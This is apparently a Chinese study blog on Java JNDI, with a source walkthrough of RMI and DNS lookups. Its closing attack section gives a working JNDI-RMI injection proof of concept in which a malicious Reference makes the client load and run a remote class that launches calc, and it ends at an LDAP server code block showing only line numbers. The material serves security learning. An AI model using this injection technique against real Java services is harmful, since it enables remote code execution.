JNDI

Java基础之JNDI

JNDI

概述

Java Naming Directory Interface,Java命名和目录接口,是SUN公司提供的一种标准的Java命名系统接口。

通过调用JNDI的API应用程序可以定位资源和其他程序对象。

JNDI可访问的现有目录及服务包括:JDBC(Java数据库连接)、LDAP(轻型目录访问协议)、RMI(远程方法调用)、DNS(域名服务)、NID(网络信息服务)、CORBA(公告对象请求代码系统结构)等。

命名服务/目录服务

前面提到有命名服务/目录服务,简单了解一下

JNDI包括命名服务(Naming Service)和目录服务(Directory Serrvice)。

  • 命名服务:一种通过名称来查找实际对象的服务。例如RMI中,Naming.lookup方法通过查找名称来获取远程对象的代理类。

    相关概念:

    • Name:名称。要在命名系统中查找对象,需要提供对象的名称
    • Naming Convention:命名规范。一个命名系统中的所有名称必须遵循的语法规范
    • Binding:绑定。一个名称和一个对象的关联
    • Reference:引用。一些命名服务系统不是直接存储对象,而是保存对象的引用。引用包含了如何访问实际对象的信息。
    • Address:地址。引用通常用一个或多个地址(通信端口)来表示
    • Context:上下文。一个上下文是一系列名称和对象的绑定的集合。一个上下文中的名称可以绑定到一个具有相同命名规范的上下文中,成为子上下文(subcontext)。例如:在文件系统中,/usr是一个Context,/usr/bin是usr的subcontext。
    • Naming System:命名系统。一个相同类型的上下文集合
    • Namespace:命名空间。一个命名系统的所有名称的集合
    • Atomic Name:原子名。一个简单基本结构
    • Compound Name:混合名。由多个原子名一起构成的名称
    • Composite Name:复合名称。是跨越多个命名系统的名称
  • 目录服务:是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象,目录对象可以跟属性关联,一个目录是由相关联的目录对象组成的系统。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。

    相关概念:

    • Attribute:属性。一个目录对象可以包含属性。一个属性具有一个属性标识符和一系列属性值。
    • Search Filter:查找过滤器。通常还提供通过目录对象的属性来查找对象的操作。

重点说明

还有几个点需要说明一下,

前面概念中重点标注出来的几个点,现在再稍微说明一下:

  • Reference引用,重点就是上面标注出来的说明。

  • Context(上下文):所谓上下文,是你当前执行程序的一个环境,存储了系统的一些初始化信息。

就比如学习Tomcat内存马时,提到的一个StandardContext对象,当时就是为了通过这个对象来获取到当前应用的信息,即这对象可以看作当前web程序的“资源”。

JNDI也一样,提供了InitialContext对象来为我们获取命名服务资源,提供InitialDirContext对象来为我们获取目录服务资源

还有一个Context类:

  • Context接口:命名服务在初始化上下文中,我们就用到了Context接口中定义的变量,分别用到了INITIAL_CONTEXT_FACTORYPROVIDER_URL

INITIAL_CONTEXT_FACTORY:保存环境属性名称的常量,用于指定要使用的初始上下文工厂。该属性的值应该是将创建初始上下文的工厂类完全限定类名。

image-20241007195933460

PROVIDER_URL:保存环境属性名称的常量,用于指定服务提供者要使用的配置信息。该属性的值应包含一个URL字符串。

image-20241007200105905

JNDI架构简单学习

JNDI架构提供了一个标准的、与命名系统无关的API,这个API构建在特定于命名系统的驱动程序之上。这一层有助于把应用程序和实际的数据源隔离开来,因此无论应用程序是访问LDAP、RMI、DNS还是其他的目录服务,这都没有关系。换句话说,JNDI与任何特定的目录服务实现无关,您可以使用任何目录,只要您拥有相应的服务提供程序接口(或驱动程序)即可,如下图所示:

image-20241008125836693

其实就是在RMI等服务外面再套了一层API,方便调用。

JNDI-协议转换

如果JNDIlookup时没有指定初始化工厂名称,会自动根据协议类型动态查找内置的工厂类然后创还能处理对象的服务请求。

JNDI默认支持自动转换的协议有:

协议名称 协议URL Context类
DNS协议 dns:// com.sun.jndi.url.dns.dnsURLContext
RMI协议 rmi:// com.sun.jndi.url.rmi.rmiURLContext
LDAP协议 ldap:// com.sun.jndi.url.ldap.ldapURLContext
LDAP协议 ldaps:// com.sun.jndi.url.ldaps.ldapsURLContextFactory
IIOP对象请求代理协议 iiop:// com.sun.jndi.url.iiop.iiopURLContext
IIOP对象请求代理协议 iiopname:// com.sun.jndi.url.iiopname.iiopnameURLContextFactory
IIOP对象请求代理协议 corbaname:// com.sun.jndi.url.corbaname.corbanameURLContextFactory

以后面的RMI代码片段为例:

1
2
3
4
5
6
// 创建JNDI目录服务上下文
InitialContext context = new InitialContext();

// 查找JNDI目录服务绑定的对象
RemoteInterface o = (RemoteInterface)context.lookup("rmi://127.0.0.1:1099/Hello");
System.out.println(o.sayHello());

这里也会可以成功调用一个sayHello()方法:

image-20241010181442163

本来lookup这里只需要传参“Hello"即可,但是就需要进行环境配置,这样传入也能正常获取代理对象并调用方法,这得益于这里的lookup()会动态地识别用户要调用的服务以及路径,然后就会自动使用rmiURLContext处理RMI请求,也是在jndi注入中比较常用的一点。

JNDI的接口实现

测试环境:

  • JDK 8u71

JNDI-RMI服务

RMI的服务处理工厂类是:com.sun.jndi.rmi.registry.RegistryContextFactory,在调用远程的RMI方法之前需要先启动RMI服务,然后就可以使用JNDI来连接并调用了。

基本代码

先开启一个RMI服务,直接用之前的代码即可:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
package Rmi.Server;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMIServer{
    public static void main(String[] args){
        try {
            //创建注册中心
            LocateRegistry.createRegistry(1099);
            System.out.println("Server start");
            //绑定调用类
            RemoteInterface remoteTest = new RemoteTest();
            Naming.bind("rmi://localhost:1099/Hello",remoteTest);

        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

在访问JNDI目录服务时会通过预先设置好环境变量访问对应的服务:

1
2
3
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");

简单理解就是通过Context.INITIAL_CONTEXT_FACTORY告诉JNDI我要访问何种服务,通过Context.PROVIDER_URL告诉JNDI所要访问服务的路径。

然后就是初始化上下文,传入我们设置好的环境变量:

1
Context initialContext = new InitialContext(env);

还有另外一种类似的获取上下文的操作,即不指定环境变量,那么JNDI会自动搜索系统属性System.getProperty()、applet参数和应用程序资源文件jndi.properties,所以我们也可以通过System.setProperty()设置环境变量:

1
2
3
4
System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL,"rmi://localhost:1099");

InitialContext initialContext = new InitialContext();

然后利用提供的lookup()方法,通过查询名字获取远程对象代理类:

1
2
3
4
//获取远程代理类
RemoteInterface o = (RemoteInterface) initialContext.lookup("Hello");
//调用远程对象的方法
System.out.println(o.sayHello());

所以完整代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
package JNDI;

import java.util.Hashtable;
import javax.naming.Context;
import Rmi.Server.RemoteInterface;
import javax.naming.InitialContext;

public class JNDI_Main {
    public static void main(String[] args) throws Exception {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");

        Context initialContext = new InitialContext(env);
        //获取远程代理类
        RemoteInterface o = (RemoteInterface) initialContext.lookup("Hello");
        //调用远程对象的方法
        System.out.println(o.sayHello());
    }
}

成功调用方法:

image-20241007220525892

源码分析

命名服务初始化上下文

对应代码为:

1
Context initialContext = new InitialContext(env);

有前面的代码可以看出,这里我们是传入了一个Hashtable类,里面包含了构造的两个键值对。看看会对这个进行什么处理跟进一下这里的InitialContext类的构造方法(注意要先启动RMI的Server端):

image-20241007224119334

如预期,有键值对,这里的clone()方法简单来说就是一个拷贝的操作,其实调用这个方法后的Hashtable类与原先没有太大区别,这个方法后的environment参数也是没有问题的。

然后调用了init()方法,并往里面传进了environment,跟进这个方法:

image-20241007224942852

然后这里调用了ResourceManager#getInitialEnvironment()方法,简单跟进一下,几个重点代码:

获取applet参数的代码:

image-20241008222045978

两个点,

  • 第一个框,获取到VersionHelper类的PROPS变量,变量定义如下:

image-20241008222247644

里面就有我们原先放入的两个变量,这个变量记录了Context接口的常量信息,所以现在就是将props变量赋值为了上面的包含Context接口常量信息的数组

  • 第二个框,就是从Hashtable中获取以APPLET变量为值的键的值,在Context接口中的APPLET变量定义:

image-20241008222004340

很明显我们当初并没有往Hashtable类放入这个变量,所以这里就是一个空,即为null。

继续往后面看,代码如下:

image-20241008222834744

这里的helper变量定义:

image-20241008222855091

跟进VersionHelper#getVersionHelper()方法:

image-20241008222921183

所以其实也就是获取到VersionHelper12类实例。所以在前面的方法调用中,其实是会调用VersionHelper12类的getJndiProperties()方法,简单看了一下,很像在调用System.getProperty()方法,这里会返回一个数组,结果全为null:

image-20241008223656680

然后就调用了for循环,几个关键点:

image-20241008223940434

这里就是调用了前面的数组,如果在Hashtable类中存在数组中的一个值,那么就直接进入下一个for循环,可以想出只会有两次操作是直接进入下一个for循环,那么没有定义的呢,就会进入到if条件语句,并且在前面可以知道获取到的applet变量为null,所以其实就是调用的下面的代码:

image-20241008224943148

没啥大的分析过程,最后还是返回的这个Hashtable类:

image-20241008230502358

可能是因为我指定了环境变量,没有使用setProperty()方法来放变量。可以换代码再跟一下,过程有细微差别,但不影响,最后在jndiSysProps变量的赋值确实有不同: image-20241008225543407

大差不差,就是前面会实例化一个Hashtable类,后面会调用Hashtable类的put()方法

image-20241008230108249

还是会构造成一个Hashtable类。

所以最终结果还是这个Hashtable类:

image-20241007225247998

ResourceManager#getInitialEnvironment()方法分析结束。

所以这个步骤的目的就是确保后面能传入一个“填充”好的Hashtable类。

————————

回到InitialContext类的init()方法,再粘过来一次代码:

image-20241008230722377

然后后面无疑会调用getDefaultInitCtx()方法: image-20241008131120257

所以现在会调用NamingManager类的getInitialContext()方法,并传入了前面构造了的Hastable类,跟进这个方法:

image-20241008131948964

按顺序解析一下这个方法在干嘛。

首先调用了getInitialContextFactoryBuilder()方法,跟进一下: image-20241008132132003

所以会返回null,然后就会进入后面的if条件:

image-20241008132408537

所以很正常这里会获取到env变量(Hashtable类)的INITIAL_CONTEXT_FACTORY,所以也就是前面的RegistryContextFactory类,所以后面就不会进入if条件。

继续往后看:

image-20241008132820384

所以这里应该就是会加载这个类为Class对象,然后对这个Class对象调用newInstance()方法将其实例化。所以这里就是会获取到RegistryContextFactory类实例:

image-20241008133447629

并将这个实例化类赋值给了factory变量,再往后看,就会到如下代码: image-20241008133617069

所以现在会调用RegistryContextFactory类的getInitialContext()方法,并传入了env变量(就是Hashtable类),跟进getInitialContext()方法:

image-20241008133834258

现在又对这个Hashatble类调用了clone()方法,“克隆”一次?先将其理解为就是前面传入的Hashtable类。然后聚焦于return调用的两个方法,分别跟进一下:

  • getInitCtxURL(var1):

image-20241008134251884

这里容易看出会进入if条件,然后对这个Hashtable类调用了取值的操作,这里也就是前面放进的值,所以会将var2变量赋值为"rmi://localhost:1099",所以最终这个getInitCtxURL()方法就是返回了这个var2,即"rmi://localhost:1099",也就是获取“环境变量”指定的服务地址。

  • URLToContext()方法:

image-20241008135003404

代码如上,简单说明一下参数问题:(var0 ==》 rmi://localhost:1099 ; var1 ==》 Hashtable类),在这个方法中,可以看到又实例化了一个rmiURLContextFactory类,然后调用了这个类的getObjectInstance()方法(传入了var0和var1),跟进一下:

image-20241008200703748

可以看出来这里会进入到第一个else if语句,所以现在会调用getUsingURL()方法,继续跟进: image-20241008200946340

喔,简单瞟一眼,看到了一个老朋友,lookup()方法,有点意思。现在来跟一下这里的方法源码:

这里先实例化了一个rmiURLContext类,并传入了var1(Hashtable类),简单跟一下这里的初始化过程:

image-20241008201508521

先跟进rmiURLContext类的父类GenericURLContext类的构造方法: image-20241008201558758

所以这里就是将GenericURLContext类的myEnv变量赋值为Hashtable类image-20241008201828624

回到rmiURLContextFactory类的getUsingURL()方法: image-20241008201930539

来看看这里的lookup()方法会干嘛,所以现在会调用rmiURLContext类的lookup()方法,但是rmiURLContext类没有lookup()方法,所以会调用到父类GenericURLContext类的lookup()方法(传入了var0,如上图所示的变量):

image-20241008202257222

跟进这里的getRootURLContext()方法,传入了var1参数和刚好在前面初始化类时赋值的变量myEnv(也就是Hashtable类),简单跟跟,说几个重点,方法结果如下:

image-20241009121953445

这里可以看到实例化了两个类,对应代码如下: image-20241011011917703

前面的CompositeName类的初始化就不多说了,重点看RegistryContext类的初始化:

image-20241011012043031

就是将这里的environment变量赋值为了Hashtable类实例,然后将这里的registry、host、port变量分别赋值,简单跟一下这里的getRegistry()方法:

image-20241011012344778

如下:

image-20241011012442461

然后又会调用LocateRegistry类的getRegistry()方法: image-20241011012621349

调用另一个重载的getRegistry()方法,在方法最后见到了老朋友:

image-20241011012855277

在这个方法中,会创建RegistryImpl_Stub类: image-20241011013033499

最后也就会返回这个RegistryImpl_Stub类。(后面再碰到的getRootURLContext()方法都是差不多的)

回到RegistryContext类的构造方法然后host和port的赋值: image-20241011013200295

最后在rmiURLContext类的getRootURLContext()方法将CompositeName类和RegistryContext封装进了ResolveResult类并返回了它。

——————

回到lookup()方法,然后后面调用的两个方法:getResolvedObj()和getRemainingName()方法,都是获取变量值的操作,对应上面结果中的ResolveResult类中的两个变量。

所以后面的var3变量的值为RegistryContext类实例:

image-20241009122346890

这几个变量的值还是挺重要的。

——————

后面又会调用RegistryContext类的lookup()方法:

image-20241009182041226

这里的var2.getRemainingName会返回前面说过的变量,值为:

image-20241009182134335

也还是对应前面的var2中的变量。

继续跟进RegistryContext类的lookup()方法,传入了CompositeName类实例:

image-20241009182447104

然后这里会进入第一个if条件,会实例化一个RegistryContext类并返回它,在实例化时会进行一些初始化操作:

image-20241009182829759

最后返回了这个RegistryContext类,这个类还是包含了一下重要信息。

然后简单跟了一下return的部分,最后就是将InitialContext类的defaultInitCtx变量赋值为了这刚RegistyContext类。

命名服务获取对象

对应代码:

1
RemoteInterface o = (RemoteInterface) initialContext.lookup("Hello");

前面获取到了InitialContext类并进行了一些重要的赋值操作,类变量定义如下:

image-20241009184452495

所以现在会调用InitialContext类的lookup()方法:

image-20241009184558063

先跟进一下这里的getURLOrDefaultInitCtx()方法:

image-20241009184816815

第一个if条件不会进入,跟一下还是很好看出的,这里不多赘述。

后面的schema的值为null,调用的getURLSchema()方法也是容易看的。

所以最后会调用getDefaultInitCtx()方法,又是这个方法,但是这里却直接返回值,如下:

image-20241009185144987

由于前面初始化时会将这里的gotDefault变量设置为true,所以这里会直接返回定义的defaultInitCtx变量,即前面的RegistryContext类实例。

getURLOrDefaultInitCtx(name)的调用就是获取RegistryContext类实例。

———

回到InitialContext类的lookup()方法,所以现在会调用RegistryContext类的lookup()方法,并传入了Hello这个参数变量:

image-20241009185624630

两个点,都跟一下:

  • CompositeName类的初始化:

image-20241009185743408

也就是给CompositeName类的impl变量赋值。

  • 调用了RegistryContext类的另一个lookup()方法,并将前面的CompositeName类传了进去:

image-20241009190027612

这里又调用了这个lookup()方法,但是有很明显的区别,就是这里的var1有值。就简单理解为将一个字符串名转换成对应的Name类型对象。所以现在会进入else语句: image-20241009190708588

然后就会调用RegistryImpl_Stub类的lookup()方法,用来查找RMI服务:

image-20241009190804707

也就是比较熟悉的操作了:

image-20241009190902184

最后这里反序列化获取代理对象。

也就是那个代理对象: image-20241009191520029

后续代码的方法调用就和RMI的差不多了。

最终成功达到访问一次RMI服务的操作。

补充说明

动态协议切换

在前面的协议转换中,提到了一个不需指定环境变量,可以通过服务地址直接获取到相应对象,完整实现代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package JNDI;

import Rmi.Server.RemoteInterface;
import javax.naming.InitialContext;

public class JNDI_Main {
    public static void main(String[] args) throws Exception {
        // 创建JNDI目录服务上下文
        InitialContext context = new InitialContext();

        // 查找JNDI目录服务绑定的对象
        RemoteInterface o = (RemoteInterface)context.lookup("rmi://127.0.0.1:1099/Hello");
        System.out.println(o.sayHello());
    }
}

(注意起RMI Server服务)

这样也能实现一次远程方法调用。

现在来分析一下过程,一步一步来:

命名服务初始化

对应代码:

1
InitialContext context = new InitialContext();

这里的过程其实都和前面将要求的值放入如环境属性中差不多的,刚好前面只是略过,这里稍微详细讲讲:

调用的构造方法:

image-20241010193437916

调用Init()方法: image-20241010193515246

跟进ResourceManager类的getInitialEnvironment()方法:

image-20241010193647028

前面实例化了一个Hashtable类,后面的getJndiProperty()方法中有读取环境属性的代码,如果读取到了就会放进Hashtable类中,但是我们并没有往环境属性中放东西,所以最终返回的这个Hashtable类是空的:

image-20241010194103742

所以后续的调用get()方法是无法获取值的,所以就直接结束初始化了:

image-20241010194149503

命名服务获取对象

对应代码:

1
RemoteInterface o = (RemoteInterface)context.lookup("rmi://127.0.0.1:1099/Hello");

会调用InitialContext类的lookup()方法: image-20241010191658451

还是分别跟一下:

  • 又是getURLOrDefaultInitCtx()方法:

image-20241010191826660

但是这里就有不同地方了,这里跟进getURLSchema()方法:

image-20241010191946006

无疑这里会匹配到:/特殊符号,所以现在会进入if条件语句而不是直接返回null。

在if语句中,进行了字符串的截取工作,所以会返回rmi这个字符串。

继续往后看:

image-20241010192644544

然后就会进入这个if语句,会调用NamingManage.getURLContext()方法(这里传入了rmi字符串和一个空的Hashtable类):

image-20241010194507992

然后调用了getURLObject()方法: image-20241010194603881

喔,getFactory()方法,感觉很像获取工厂类的方法,有搞头,此时的参数情况:

image-20241010195607536

这就已经看到了包含有rmiURLContextFactory的字符串,也是参数传递时确实应该形成的,跟进ResourceManager类的getFactory()方法,关键代码如下:

image-20241010200910150

parser.nextToken方法返回com.sun.jndi.url字符串,classSuffix就是传入的.rmi.rmiURLContextFactory,所以className变量定义如下:

image-20241010200932070

所以这里找到了工厂类并实例化,最后还返回了这个对象。

所以这里的getFactory()方法就是获取工厂类对象。

————

回到NamingManager类的getURLObject()方法:

image-20241010201448403

所以现在会调用工厂类rmiURLContextFactory类的getObjectInstance()方法,这里的参数分别为:(null、null、null、空的Hashtable类),跟进这个方法:

image-20241010201810186

所以就是实例化一个rmiURLContext类,传入了一个空的Hashtable类,将其父类的父类GenericURLContext的myEnv变量赋值为了Hashtable类。

所以之类的getURLObject()方法就是获取到一个rmiURLContext类。

————

回到NamingManager类的getURLContext类:

image-20241010202046715

毫无疑问这里符合第一个if条件,所以会返回这个rmiURLContext类

————

回到InitialContext类的getURLOrDefaultInitCtx()方法:

image-20241010202221189

符合条件,直接返回这个rmiURLContext类,不会像之前一样调用getDefaultInitCtx()方法。

综上所述,这里的getURLOrDefaultInitCtx(name)方法就是会得到一个rmiURLContext类,但是里面的Hashtable类为空。

image-20241010202737823

————————

  • lookup(name): image-20241010202546534

跟进rmiURLContext类的lookup()方法(实际调用的是其父类GenericURLContext的lookup()方法): image-20241010202919781

前面也遇到过这个方法,和前面差不多了,var2为ResolveResult类对象,包含的两个变量(变量值有点不同):

image-20241010203055221

后续的两个getter都是获取这里两个值,两个值的情况:

image-20241010204209763

调用了RegistryContext类的lookup()方法:

image-20241010204040896

跟进lookup()方法:

image-20241010204110868

所以会进入else语句,然后就会调用RegistryImpl_Stub类的lookup()方法查找“Hello”的服务:

image-20241010204427011

同样符合RMI的过程。

JNDI-DNS服务

JNDI支持访问DNS服务,注册环境变量时设置JNDI服务处理的工厂类是com.sun.jndi.dns.DnsContextFactory类。

基本代码

DNS服务就是为了解析域名,代码和前面JNDI-RMI代码大相径庭:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
package JNDI;

import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.directory.InitialDirContext;
import javax.naming.directory.DirContext;
import javax.naming.directory.Attributes;

public class JNDI_Main {
    public static void main(String[] args) throws Exception {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.dns.DnsContextFactory");
        env.put(Context.PROVIDER_URL,"dns://114.114.114.114");

        // 创建JNDI目录服务对象
        DirContext context = new InitialDirContext(env);
        // 获取DNS解析记录测试
        Attributes attrs1 = context.getAttributes("baidu.com", new String[]{"A"});
        System.out.println(attrs1);
    }
}

这里是从dns://114.114.114.114这个dns服务器上查询www.baidu.com域名的ip地址,这里用的是JNDI目录服务,目录服务允许目录对象具有属性,那么同样也可以有值。

同样的,还可以不设置环境变量,将其放进系统属性中,代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
package JNDI;

import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.directory.InitialDirContext;
import javax.naming.directory.DirContext;
import javax.naming.directory.Attributes;

public class JNDI_Main {
    public static void main(String[] args) throws Exception {
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.dns.DnsContextFactory");
        System.setProperty(Context.PROVIDER_URL,"dns://114.114.114.114");

        // 创建JNDI目录服务对象
        DirContext context = new InitialDirContext();
        // 获取DNS解析记录测试
        Attributes attrs1 = context.getAttributes("baidu.com", new String[]{"A"});
        System.out.println(attrs1);
    }
}

源码分析

目录服务初始化上下文

对应代码:

1
DirContext context = new InitialDirContext(env);

跟进初始化过程: image-20241009194030547

这里进行类的初始化的是InitialDirContext类,而它的父类是InitialContext类,所以这里其实还是初始化的InitialContext类,并同样传入了Hashtable类,只不过里面放入的值是不同的。

后面的具体过程还是和前面命名服务初始化差不多的,就从不一样的地方开始看看:

在NamingManage类的getInitialContext()方法中,最后会调用DnsContextFactory类的getInitialContext()方法:

image-20241009200548715

然后调用DnsContextFactory类的ulToContext()方法,参数分别为dns://114.114.114.114、DNS服务的Hashtable类: image-20241009200844094

最后会调用getContext()方法,参数分别为:

image-20241009201114160

继续跟进:

image-20241009201221489

所以这里是初始化了一个DnsContext类,进行了一些赋值操作: image-20241009201416025

最后返回了这个DnsContext类实例。

所以这里的步骤同样是将InitialDiContext类的父类InitialContext类变量defaultInitCtx变量赋值为DnsContext类实例,并将gotDefault变量赋值为tue。

——————

目录服务获取属性

对应代码:

1
Attributes attrs1 = context.getAttributes("baidu.com", new String[]{"A"});

在前面的初始化后,现在的context值是一个InitialDiContext类,变量定义为:

image-20241009201917201

所以现在会调用InitialDiContext类的getAttibutes()方法:

image-20241009202120601

还是两个点,

  • 先跟进getURLOrDefaultInitDirCtx(name)

image-20241009202219624

跟进这里的getURLOrDefaultInitCtx()方法:

image-20241009202412245

还是同样的,会直接调用最后的getDefaultInitCtx()方法,前面的代码跟一下源码即可,挺好看懂的:

image-20241009202522700

同样的直接返回DnsContext类实例。并且在InitialDirContext类的getURLOrDefaultInitDirCtx()方法也是直接返回这个DnsContext类实例:

image-20241009202736738

所以这里的第一个点就是获取DnsContext类实例。

————

  • 跟进getAttributes(name, attrIds)代码:

所以现在是会调用DnsContext类的父类的父类PartialCompositeDirContext的getAttibutes()方法,跟进:

image-20241009202942392

还是先简单看一下CompositeName类的初始化:

image-20241009205840068

同样的还是将CompositeName类的impl变量赋值为这个。

但其实可以直接看作badidu.com,继续跟代码,所以现在会调用另一个重载的getAttributes()方法:

image-20241009210328504

按顺序简单说说:

  • 先是将这里的var3变量赋值为了DnsContext类实例。

  • 然后调用了p_getEnvironment()方法,实际上会调用DnsContext类的这个方法:

image-20241009213434608

直接返回了Hashtable类实例。

  • 然后实例化了一个Continuation类:

image-20241009213640353

传入了这个字符串和Hashtable类实例。

  • 然后到了for循环,会调用DnsContext父类ComponentDirContext的p_getAttributes()方法:

image-20241009214117449

这里的var4变量是一个HeadTail类实例,后续的HeadTail.getStatus返回2,会调用c_getAttributes方法(getHead()方法返回的是“baidu.com"):

image-20241009214539807

查询逻辑为:

image-20241009214857434

所以这里实际会调用DnsClient类的quey()方法,然后又会调用到doUdpQuery()方法:

image-20241009215404857

前面的send()方法就是进行连接,发送请求到相应的DNS服务器,后一个就是获取数据。

最后query()方法结束获得的数据:

image-20241009215644983

最后得到数据:

image-20241009215841697

——————————

JNDI攻击

在学习JNDI攻击前,先简单了解两个知识点。

前置知识了解

Reference类了解

该类位于javax.naming.Reference,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。

一个示例代码:

1
2
String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);

利用的构造函数:

image-20241010212059085

这里涉及到的三个变量:

image-20241010212343809

就是将这个类的这三个参数赋值为对应的参数。

就利用来说,三个参数可以如下理解:

  • className:远程加载时所使用的类名,本地找不到,就去远程加载
  • classFactory:加载class中需要实例化类的名称
  • classFactoryLocation:工厂加载的地址,提供classes数据的地址(可以是file/ftp/http协议)

后面用一个实例来说明一下利用。

远程对象引用安全限制

RMI服务中引用远程对象将受本地Java环境的限制,需要java.rmi.server.useCodebaseOnly配置必须为false,表示允许加载除了Classpath外的远程对象。

而在JNDI获取RMI服务中,被引用的远程工厂对象也将受com.sun.jndi.rmi.object.trustURLCodebase配置限制,为false表示不信任远程引用对象,就不能调用远程的引用对象

JNDI-RMI注入

示例代码

先给注入方法操作一下:

  • RMI Server端代码:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
package JNDI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDI_RMI_Server{
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        String url = "http://127.0.0.1:7979/";
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("JNDI_Main", "JNDI_Main", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Hello",referenceWrapper);
        System.out.println("running");
    }
}

这里需要将前面的Reference对象传进ReferenceWrapper,这是因为Reference类没有实现Remote接口也没有继承UnicastRemoteObject类,所以这里用ReferenceWrapper类将其封装了一下。

  • RMIClient端代码:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
package JNDI;

import javax.naming.InitialContext;

public class JNDI_RMI_Client{
    public static void main(String[] args) throws Exception {
        String url = "rmi://localhost:1099/Hello";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }
}
  • 然后需要准备一个远程加载的类:
1
2
3
4
5
6
7
8
9
import java.lang.Runtime;

public class JNDI_Main {

    public JNDI_Main() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}
//注意这里不能有包名,自己本地打踩了一下坑,也许其他环境不会有这个问题

然后使用javac命令将这个文件打成class文件,然后再用python起一个HTTP服务:

1
python -m http.server 7979

image-20241010215558859

然后运行Server端,再运行Client发起请求,成功弹出计算机: image-20241010222559605

原理简单来说就是把引用了恶意类的Reference类绑定到RMI的Registry中。

在客户端调用lookup远程获取远程类的时候,就会获取到Reference对象,就会去寻找Reference中指定的类,如果查找不到则会在Reference中指定的远程地址去进行请求,请求到远程的类后会在本地执行。

这里其实算攻击客户端。

代码调试

JNDI_RMI_Server端

大致还是和RMI服务端的创建是差不多的,主要是为了看看引用类中的赋值情况。

大概看了一下,Reference类还是和前面说的差不多,主要看看ReferenceWrapper的赋值情况:

image-20241010225250972

也就是将这里的wrapper变量赋值为Reference类。

稍微关注一下这里的getReference()方法。

最后在注册表中将RMI服务和ReferenceWrapper对象绑定在一起。

JNDI_RMI_Client端

打断点于lookup()方法,所以现在会调用InitialContext类的lookup()方法:

image-20241010225755694

前面一部分其实是和RMI服务动态协议转换那里差不多的,主要从不同的地方说起,直接到调用RegistryImpl_Stub类的lookup()方法结束: image-20241011145033242

此时的变量情况: image-20241011145220852

在前面的RMI接口实现中分析这里在调用lookup()方法后会得到代理对象,但是如上图所示,这里会得到一个ReferenceWrapper_Stub类,跟进这里的decodeObject()方法: image-20241011145542192

这里的ReferenceWrapper_Stub类实现了RemoteReference接口,所以这里会调用ReferenceWrapper_Stub类的getReference()方法:

image-20241011145936768

这里又调用了UnicastRef类的invoke()方法进行数据传输,得到了Reference对象并将其返回,所以现在var的值为:

image-20241011150043944

然后又调用了NamingManager类的getObjectInstance()方法: image-20241011151417551

变量情况:

image-20241011151520821

跟进NamingManager类的getObjectInstance()方法: image-20241011153309439

部分代码,每部分都分析一下:

这里会调用getObjectFactoyBuilder()方法,这里就是会返回变量的值,但是这里的值默认为null,所以不会进入后面的if条件。

看后面的代码:

image-20241011153459393

refInfo就是参数传递的Reference类,符合第一个if条件,所以现在会将ref变量赋值为这个Reference类。

再往后面看,会进入第一个if语句,会将f赋值为前面Reference类初始化时传的参,如下:

image-20241011153722021

即要初始化的类。

所以现在会进入第二个if条件:

所以现在会调用getObjectFactoryFromReference()方法(注意传入了Reference类和这个classFactory):

image-20241011154249208

可以看到有加载类的操作,也就是恶意类JNDI_Main。在第二个loadClass()方法获取到了JNDI_Main类的class对象,第一个应该是先在本地找,找不到就去工厂路径找:

image-20250402162855229

并且后面有实例化类的操作: image-20241011175917664

很明显会实例化类成功调用恶意方法。

在弹计算机后就进入异常输出,整个过程结束:

image-20241011180520366

JNDI-Ldap注入

LDAP也是一种目录服务,前面分析的DNS其实只用客户端就能完成一次完整的服务,在这里我们可以利用LDAP这个目录服务来完成一次攻击。

思路是差不多的,当查询属性的值时,我们返回一个存储恶意类的Reference类给客户端,让客户端根据codebase路径查找工厂。

需要用需要引入unboundid-ldapsdk-3.2.0.jar包,直接在pom.xml引入即可:

1
2
3
4
5
6
7
<!-- https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk -->
<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>3.2.0</version>
    <scope>test</scope>
</dependency>

基本代码

恶意LDAP服务端:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
